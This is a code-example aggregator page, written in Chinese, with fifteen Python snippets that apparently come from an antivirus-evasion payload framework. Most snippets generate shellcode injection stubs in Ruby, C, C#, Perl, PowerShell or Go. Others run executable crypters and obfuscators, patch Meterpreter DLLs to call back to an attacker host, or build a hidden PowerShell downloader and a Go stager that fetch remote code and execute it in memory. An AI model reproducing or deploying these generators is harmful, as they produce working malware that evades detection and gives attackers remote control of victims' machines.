本文整理汇总了Python中modules.common.helpers.randomString函数的典型用法代码示例。如果您正苦于以下问题:Python randomString函数的具体用法?Python randomString怎么用?Python randomString使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了randomString函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: generate
def generate(self):
Shellcode = self.shellcode.generate()
# randomly generate out variable names
payloadName = helpers.randomString()
ptrName = helpers.randomString()
threadName = helpers.randomString()
heap_name = helpers.randomString()
payloadCode = "require 'rubygems'\n"
payloadCode += "require 'win32/api'\n"
payloadCode += "include Win32\n"
payloadCode += "exit if Object.const_defined?(:Ocra)\n"
if self.required_options["inject_method"][0].lower() == "virtual":
payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
payloadCode += "%s = \"%s\"\n" %(payloadName, Shellcode)
payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName)
payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName)
elif self.required_options["inject_method"][0].lower() == "heap":
payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
payloadCode += "%s = \"%s\"\n" %(payloadName, Shellcode)
payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" %(heap_name,payloadName,payloadName)
payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" %(ptrName,heap_name,payloadName)
payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName)
return payloadCode
示例2: generate
def generate(self):
# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
# Generate Random Variable Names
RandShellcode = helpers.randomString()
RandReverseShell = helpers.randomString()
RandMemoryShell = helpers.randomString()
# Start creating our C payload
PayloadCode = '#include <windows.h>\n'
PayloadCode += '#include <stdio.h>\n'
PayloadCode += '#include <string.h>\n'
PayloadCode += 'int main()\n'
PayloadCode += '{\n'
PayloadCode += ' LPVOID lpvAddr;\n'
PayloadCode += ' HANDLE hHand;\n'
PayloadCode += ' DWORD dwWaitResult;\n'
PayloadCode += ' DWORD threadID;\n\n'
PayloadCode += 'unsigned char buff[] = \n'
PayloadCode += '\"' + Shellcode + '\";\n\n'
PayloadCode += 'lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);\n'
PayloadCode += 'RtlMoveMemory(lpvAddr,buff, strlen(buff));\n'
PayloadCode += 'hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n'
PayloadCode += 'dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n'
PayloadCode += 'return 0;\n'
PayloadCode += '}\n'
return PayloadCode
示例3: generate
def generate(self):
Shellcode = self.shellcode.generate(self.required_options)
print Shellcode
Shellcode = base64.b64encode(Shellcode)
# randomly generate out variable names
payloadName = helpers.randomString()
ptrName = helpers.randomString()
threadName = helpers.randomString()
heap_name = helpers.randomString()
payloadCode = "require 'rubygems'\n"
payloadCode += "require 'win32/api'\n"
payloadCode += "include Win32\n"
payloadCode += "require 'base64'\n"
payloadCode += "exit if Object.const_defined?(:Ocra)\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
payloadCode += payloadName + ' = ["' + Shellcode + '".unpack("m")[0].delete("\\\\\\\\x")].pack("H*")\n'
payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" % (
ptrName,
payloadName,
payloadName,
)
payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" % (
ptrName,
payloadName,
payloadName,
threadName,
ptrName,
threadName,
)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payloadCode += "v = API.new('HeapCreate', 'III', 'I');q = API.new('HeapAlloc', 'III', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
payloadCode += payloadName + ' = ["' + Shellcode + '".unpack("m")[0].delete("\\\\\\\\x")].pack("H*")\n'
payloadCode += "%s = v.call(0x0004,(%s.length > 0x1000 ? %s.length : 0x1000), 0)\n" % (
heap_name,
payloadName,
payloadName,
)
payloadCode += "%s = q.call(%s, 0x00000008, %s.length)\n" % (ptrName, heap_name, payloadName)
payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,86400)\n" % (
ptrName,
payloadName,
payloadName,
threadName,
ptrName,
threadName,
)
return payloadCode
示例4: generate
def generate(self):
Shellcode = self.shellcode.generate()
Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
# randomize all our variable names, yo'
namespaceName = helpers.randomString()
className = helpers.randomString()
bytearrayName = helpers.randomString()
funcAddrName = helpers.randomString()
hThreadName = helpers.randomString()
threadIdName = helpers.randomString()
pinfoName = helpers.randomString()
# get 12 random variables for the API imports
r = [helpers.randomString() for x in xrange(12)]
payloadCode = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices;\n"
payloadCode += "namespace %s { class %s { static void Main() {\n" % (namespaceName, className)
payloadCode += "byte[] %s = {%s};" % (bytearrayName,Shellcode)
payloadCode += "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (funcAddrName, bytearrayName)
payloadCode += "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName)
payloadCode += "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName)
payloadCode += "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName)
payloadCode += "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" %(hThreadName)
# payloadCode += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n"
payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11])
if self.required_options["USE_ARYA"][0].lower() == "y":
payloadCode = encryption.arya(payloadCode)
return payloadCode
示例5: generate
def generate(self):
# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
# Generate Random Variable Names
RandShellcode = helpers.randomString()
RandReverseShell = helpers.randomString()
RandMemoryShell = helpers.randomString()
# Start creating our C payload
PayloadCode = 'unsigned char payload[]=\n'
PayloadCode += '\"' + Shellcode + '\";\n'
PayloadCode += 'int main(void) { ((void (*)())payload)();}\n'
return PayloadCode
示例6: generate
def generate(self):
# randomize the output file so we don't overwrite anything
randName = helpers.randomString(5) + ".exe"
outputFile = settings.TEMP_DIR + randName
if not os.path.isfile(self.required_options["ORIGINAL_EXE"][0]):
print "\nError during Hyperion execution:\nInput file does not exist"
raw_input("\n[>] Press any key to return to the main menu.")
return ""
print helpers.color("\n[*] Running Hyperion on " + self.required_options["ORIGINAL_EXE"][0] + "...")
# the command to invoke hyperion. TODO: windows compatibility
# be sure to set 'cwd' to the proper directory for hyperion so it properly runs
p = subprocess.Popen(["wine", "hyperion.exe", self.required_options["ORIGINAL_EXE"][0], outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/hyperion/", shell=True)
stdout, stderr = p.communicate()
try:
# read in the output .exe from /tmp/
f = open(outputFile, 'rb')
PayloadCode = f.read()
f.close()
except IOError:
print "\nError during Hyperion execution:\n" + helpers.color(stdout, warning=True)
raw_input("\n[>] Press any key to return to the main menu.")
return ""
# cleanup the temporary output file. TODO: windows compatibility
if os.path.isfile(outputFile):
p = subprocess.Popen(["rm", outputFile], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = p.communicate()
return PayloadCode
示例7: generate
def generate(self):
# randomize the output file so we don't overwrite anything
randName = helpers.randomString(5) + ".exe"
outputFile = settings.TEMP_DIR + randName
# the command to invoke hyperion. TODO: windows compatibility
peCommand = "wine PEScrambler.exe -i " + self.required_options["ORIGINAL_EXE"][0] + " -o " + outputFile
print helpers.color("\n[*] Running PEScrambler on " + self.required_options["ORIGINAL_EXE"][0] + "...")
# be sure to set 'cwd' to the proper directory for hyperion so it properly runs
p = subprocess.Popen(peCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_EVASION_PATH+"tools/pescrambler/", shell=True)
time.sleep(3)
stdout, stderr = p.communicate()
try:
# read in the output .exe from /tmp/
f = open(outputFile, 'rb')
PayloadCode = f.read()
f.close()
except IOError:
print "\nError during PEScrambler execution:\n" + helpers.color(stdout, warning=True)
raw_input("\n[>] Press any key to return to the main menu.")
return ""
# cleanup the temporary output file. TODO: windows compatibility
p = subprocess.Popen("rm " + outputFile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = p.communicate()
return PayloadCode
示例8: pyherion
def pyherion(code):
"""
Generates a crypted hyperion'esque version of python code using
base64 and AES with a random key, wrapped in an exec() dynamic launcher.
code = the python source code to encrypt
Returns the encrypted python code as a string.
"""
imports = list()
codebase = list()
# strip out all imports from the code so pyinstaller can properly
# launch the code by preimporting everything at compiletime
for line in code.split("\n"):
if not line.startswith("#"): # ignore commented imports...
if "import" in line:
imports.append(line)
else:
codebase.append(line)
# generate a random 256 AES key and build our AES cipher
key = helpers.randomKey(32)
cipherEnc = AES.new(key)
# encrypt the input file (less the imports)
encrypted = EncodeAES(cipherEnc, "\n".join(codebase))
# some random variable names
b64var = helpers.randomString(5)
aesvar = helpers.randomString(5)
# randomize our base64 and AES importing variable
imports.append("from base64 import b64decode as %s" %(b64var))
imports.append("from Crypto.Cipher import AES as %s" %(aesvar))
# shuffle up our imports
random.shuffle(imports)
# add in the AES imports and any imports found in the file
crypted = ";".join(imports) + "\n"
# the exec() launcher for our base64'ed encrypted string
crypted += "exec(%s(\"%s\"))" % (b64var,base64.b64encode("exec(%s.new(\"%s\").decrypt(%s(\"%s\")).rstrip('{'))\n" %(aesvar,key,b64var,encrypted)))
return crypted
示例9: buildAryaLauncher
def buildAryaLauncher(raw):
"""
Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt
a string rep of the bytes, and then use reflection to invoke
the original .exe
"""
# the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution
key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random()))
base64payload = b64sub(raw,key)
payloadCode = "using System; using System.Collections.Generic; using System.Text;"
payloadCode += "using System.IO; using System.Reflection; using System.Linq;\n"
decodeFuncName = helpers.randomString()
baseStringName = helpers.randomString()
targetStringName = helpers.randomString()
dictionaryName = helpers.randomString()
# build out the letter sub decrypt function
payloadCode += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (helpers.randomString(), helpers.randomString(), decodeFuncName)
payloadCode += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" %(baseStringName)
payloadCode += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" %(targetStringName,dictionaryName)
payloadCode += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" %(baseStringName,dictionaryName,baseStringName)
payloadCode += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" %(targetStringName, dictionaryName)
payloadCode += "else { %s += t[i]; }} return %s; }\n" %(targetStringName,targetStringName)
encodedDataName = helpers.randomString()
base64PayloadName = helpers.randomString()
assemblyName = helpers.randomString()
# build out Main()
assemblyName = helpers.randomString()
methodInfoName = helpers.randomString()
keyName = helpers.randomString()
payloadCode += "static void Main() {\n"
payloadCode += "string %s = \"%s\";\n" % (base64PayloadName, base64payload)
payloadCode += "string %s = \"%s\";\n" %(keyName, key)
# load up the assembly of the decoded binary
payloadCode += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" %(assemblyName, decodeFuncName, base64PayloadName, keyName)
payloadCode += "MethodInfo %s = %s.EntryPoint;\n" %(methodInfoName, assemblyName)
# use reflection to jump to its entry point
payloadCode += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" %(methodInfoName, assemblyName, methodInfoName)
payloadCode += "}}}\n"
return payloadCode
示例10: generate
def generate(self):
Shellcode = self.shellcode.generate(self.required_options)
Shellcode = ",0".join(Shellcode.split("\\"))[1:]
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@
$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x40); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
powershell_command = unicode(baseString)
blank_command = ""
for char in powershell_command:
blank_command += char + "\x00"
powershell_command = blank_command
powershell_command = base64.b64encode(powershell_command)
payloadName = helpers.randomString()
# write base64 payload out to disk
settings.PAYLOAD_SOURCE_PATH
secondStageName = settings.PAYLOAD_SOURCE_PATH + payloadName
f = open( secondStageName , 'w')
f.write("powershell -Enc %s\n" %(powershell_command))
f.close()
# give notes to the user
self.notes = "\n\tsecondary payload written to " + secondStageName + " ,"
self.notes += " serve this on http://%s:%s\n" %(self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0],)
# build our downloader shell
downloaderCommand = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
downloaderCommand += "iex (New-Object Net.WebClient).DownloadString(\"https://%s:%s/%s\")\n" %(self.required_options["DOWNLOAD_HOST"][0], self.required_options["DOWNLOAD_PORT"][0], payloadName)
powershell_command = unicode(downloaderCommand)
blank_command = ""
for char in powershell_command:
blank_command += char + "\x00"
powershell_command = blank_command
powershell_command = base64.b64encode(powershell_command)
downloaderCode = "@echo off\n"
downloaderCode += "if %PROCESSOR_ARCHITECTURE%==x86 (\n"
downloaderCode += "\tpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command
downloaderCode += ") \nelse (\n"
downloaderCode += "\t%WinDir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command + "\n"
return downloaderCode
示例11: generate
def generate(self):
# get the main meterpreter .dll with the header/loader patched
meterpreterDll = patch.headerPatch()
# turn on SSL
meterpreterDll = patch.patchTransport(meterpreterDll, False)
# replace the URL
urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + helpers.genHTTPChecksum() + "/\x00"
meterpreterDll = patch.patchURL(meterpreterDll, urlString)
# replace in the UA
meterpreterDll = patch.patchUA(meterpreterDll, "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00")
# compress/base64 encode the dll
compressedDll = helpers.deflate(meterpreterDll)
# actually build out the payload
payloadCode = ""
payloadCode = "require 'rubygems';require 'win32/api';require 'socket';require 'base64';require 'zlib';include Win32\n"
payloadCode += "exit if Object.const_defined?(:Ocra)\n"
# randomly generate out variable names
payloadName = helpers.randomString().lower()
ptrName = helpers.randomString().lower()
threadName = helpers.randomString().lower()
Shellcode = helpers.randomString().lower()
randInflateFuncName = helpers.randomString().lower()
randb64stringName = helpers.randomString().lower()
randVarName = helpers.randomString().lower()
# deflate function
payloadCode += "def "+randInflateFuncName+"("+randb64stringName+")\n"
payloadCode += " " + randVarName + " = Base64.decode64("+randb64stringName+")\n"
payloadCode += " zstream = Zlib::Inflate.new(-Zlib::MAX_WBITS)\n"
payloadCode += " buf = zstream.inflate("+ randVarName +")\n"
payloadCode += " zstream.finish\n"
payloadCode += " zstream.close\n"
payloadCode += " return buf\n"
payloadCode += "end\n\n"
payloadCode += Shellcode + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n"
payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n"
payloadCode += "%s = %s\n" %(payloadName, Shellcode)
payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName)
payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName)
if self.required_options["USE_CRYPTER"][0].lower() == "y":
payloadCode = encryption.rubyCrypter(payloadCode)
return payloadCode
示例12: generate
def generate(self):
shellcode = self.shellcode.generate()
# randomly generate out variable names
payloadName = helpers.randomString()
ptrName = helpers.randomString()
payloadCode = "use Win32::API;\n"
payloadCode += "my $%s = \"%s\";\n" % (payloadName, shellcode)
payloadCode += "$VirtualAlloc = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n"
payloadCode += "$RtlMoveMemory = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n"
payloadCode += "$CreateThread = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n"
payloadCode += "$WaitForSingleObject = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n"
payloadCode += "my $%s = $VirtualAlloc->Call(0, length($%s), 0x1000, 0x40);\n" % (ptrName, payloadName)
payloadCode += "$RtlMoveMemory->Call($%s, $%s, length($%s));\n" % (ptrName, payloadName, payloadName )
payloadCode += "my $threadName = $CreateThread->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName)
payloadCode += "$WaitForSingleObject->Call($threadName, -1);\n"
return payloadCode
示例13: generate
def generate(self):
# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
# build our your payload sourcecode
PayloadCode = "..."
# add in a randomized string
PayloadCode += helpers.randomString()
# example of how to check the internal options
if self.required_options["use_pyherion"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)
# return everything
return PayloadCode
示例14: generate
def generate(self):
if os.path.exists(settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll"):
metsrvPath = settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll"
else:
print "[*] Error: You either do not have the latest version of Metasploit or"
print "[*] Error: do not have your METASPLOIT_PATH set correctly in your settings file."
print "[*] Error: Please fix either issue then select this payload again!"
sys.exit()
f = open(metsrvPath, 'rb')
meterpreterDll = f.read()
f.close()
# lambda function used for patching the metsvc.dll
dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):]
# patch the metsrv.dll header
headerPatch = helpers.selfcontained_patch()
meterpreterDll = dllReplace(meterpreterDll,0,headerPatch)
# patch in the default user agent string
userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00")
userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00"
meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString)
# turn off SSL
sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL")
sslString = "METERPRETER_TRANSPORT_HTTP\x00"
meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString)
# replace the URL/port of the handler
urlIndex = meterpreterDll.index("https://" + ("X" * 256))
urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + helpers.randomString(16) + "/\x00"
meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString)
# replace the expiration timeout with the default value of 300
expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661))
expirationTimeout = struct.pack('<I', 604800)
meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout)
# replace the communication timeout with the default value of 300
communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f))
communicationTimeout = struct.pack('<I', 300)
meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout)
# compress/base64 encode the dll
compressedDll = helpers.deflate(meterpreterDll)
# actually build out the payload
payloadCode = ""
# traditional void pointer injection
if self.required_options["inject_method"][0].lower() == "void":
# doing void * cast
payloadCode += "from ctypes import *\nimport base64,zlib\n"
randInflateFuncName = helpers.randomString()
randb64stringName = helpers.randomString()
randVarName = helpers.randomString()
# deflate function
payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n"
payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n"
payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n"
randVarName = helpers.randomString()
randFuncName = helpers.randomString()
payloadCode += randVarName + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n"
payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n"
payloadCode += randFuncName+"()\n"
# VirtualAlloc() injection
else:
payloadCode += 'import ctypes,base64,zlib\n'
randInflateFuncName = helpers.randomString()
randb64stringName = helpers.randomString()
randVarName = helpers.randomString()
randPtr = helpers.randomString()
randBuf = helpers.randomString()
randHt = helpers.randomString()
# deflate function
payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n"
payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n"
payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n"
payloadCode += randVarName + " = bytearray(" + randInflateFuncName + "(\"" + compressedDll + "\"))\n"
payloadCode += randPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ randVarName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n'
payloadCode += randBuf + ' = (ctypes.c_char * len(' + randVarName + ')).from_buffer(' + randVarName + ')\n'
payloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + randPtr + '),' + randBuf + ',ctypes.c_int(len(' + randVarName + ')))\n'
payloadCode += randHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + randPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n'
payloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + randHt + '),ctypes.c_int(-1))\n'
if self.required_options["use_pyherion"][0].lower() == "y":
#.........这里部分代码省略.........
示例15: generate
def generate(self):
memCommit = helpers.randomString()
memReserve = helpers.randomString()
pageExecRW = helpers.randomString()
kernel32 = helpers.randomString()
procVirtualAlloc = helpers.randomString()
base64Url = helpers.randomString()
virtualAlloc = helpers.randomString()
size = helpers.randomString()
addr = helpers.randomString()
err = helpers.randomString()
randBase = helpers.randomString()
length = helpers.randomString()
foo = helpers.randomString()
random = helpers.randomString()
outp = helpers.randomString()
i = helpers.randomString()
randTextBase64URL= helpers.randomString()
getURI = helpers.randomString()
sumVar = helpers.randomString()
checksum8 = helpers.randomString()
uri = helpers.randomString()
value = helpers.randomString()
tr = helpers.randomString()
client = helpers.randomString()
hostAndPort = helpers.randomString()
port = self.required_options["LPORT"][0]
host = self.required_options["LHOST"][0]
response = helpers.randomString()
uriLength = randint(5, 255)
payload = helpers.randomString()
bufferVar = helpers.randomString()
x = helpers.randomString()
payloadCode = "package main\nimport (\n\"crypto/tls\"\n\"syscall\"\n\"unsafe\"\n"
payloadCode += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n)\n"
payloadCode += "const (\n"
payloadCode += "%s = 0x1000\n" %(memCommit)
payloadCode += "%s = 0x2000\n" %(memReserve)
payloadCode += "%s = 0x40\n)\n" %(pageExecRW)
payloadCode += "var (\n"
payloadCode += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32)
payloadCode += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32)
payloadCode += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n)\n" %(base64Url)
payloadCode += "func %s(%s uintptr) (uintptr, error) {\n" %(virtualAlloc, size)
payloadCode += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW)
payloadCode += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr)
payloadCode += "func %s(%s int, %s []byte) string {\n" %(randBase, length, foo)
payloadCode += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" %(random)
payloadCode += "var %s []byte\n" %(outp)
payloadCode += "for %s := 0; %s < %s; %s++ {\n" %(i, i, length, i)
payloadCode += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" %(outp, outp, foo, random, foo)
payloadCode += "return string(%s)\n}\n" %(outp)
payloadCode += "func %s(%s int) string {\n" %(randTextBase64URL, length)
payloadCode += "%s := []byte(%s)\n" %(foo, base64Url)
payloadCode += "return %s(%s, %s)\n}\n" %(randBase, length, foo)
payloadCode += "func %s(%s, %s int) string {\n" %(getURI, sumVar, length)
payloadCode += "for {\n%s := 0\n%s := %s(%s)\n" %(checksum8, uri, randTextBase64URL, length)
payloadCode += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" %(value, uri, checksum8, value)
payloadCode += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" %(checksum8, '%0x100', sumVar, uri)
payloadCode += "func main() {\n"
payloadCode += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" %(tr)
payloadCode += "%s := http.Client{Transport: %s}\n" %(client, tr)
payloadCode += "%s := \"https://%s:%s\"\n" %(hostAndPort, host, port)
payloadCode += "%s, _ := %s.Get(%s + %s(92, %s))\n" %(response, client, hostAndPort, getURI, uriLength)
payloadCode += "defer %s.Body.Close()\n" %(response)
payloadCode += "%s, _ := ioutil.ReadAll(%s.Body)\n" %(payload, response)
payloadCode += "%s, _ := %s(uintptr(len(%s)))\n" %(addr, virtualAlloc, payload)
payloadCode += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr)
payloadCode += "for %s, %s := range %s {\n" %(x, value, payload)
payloadCode += "%s[%s] = %s\n}\n" %(bufferVar, x, value)
payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(addr)
return payloadCode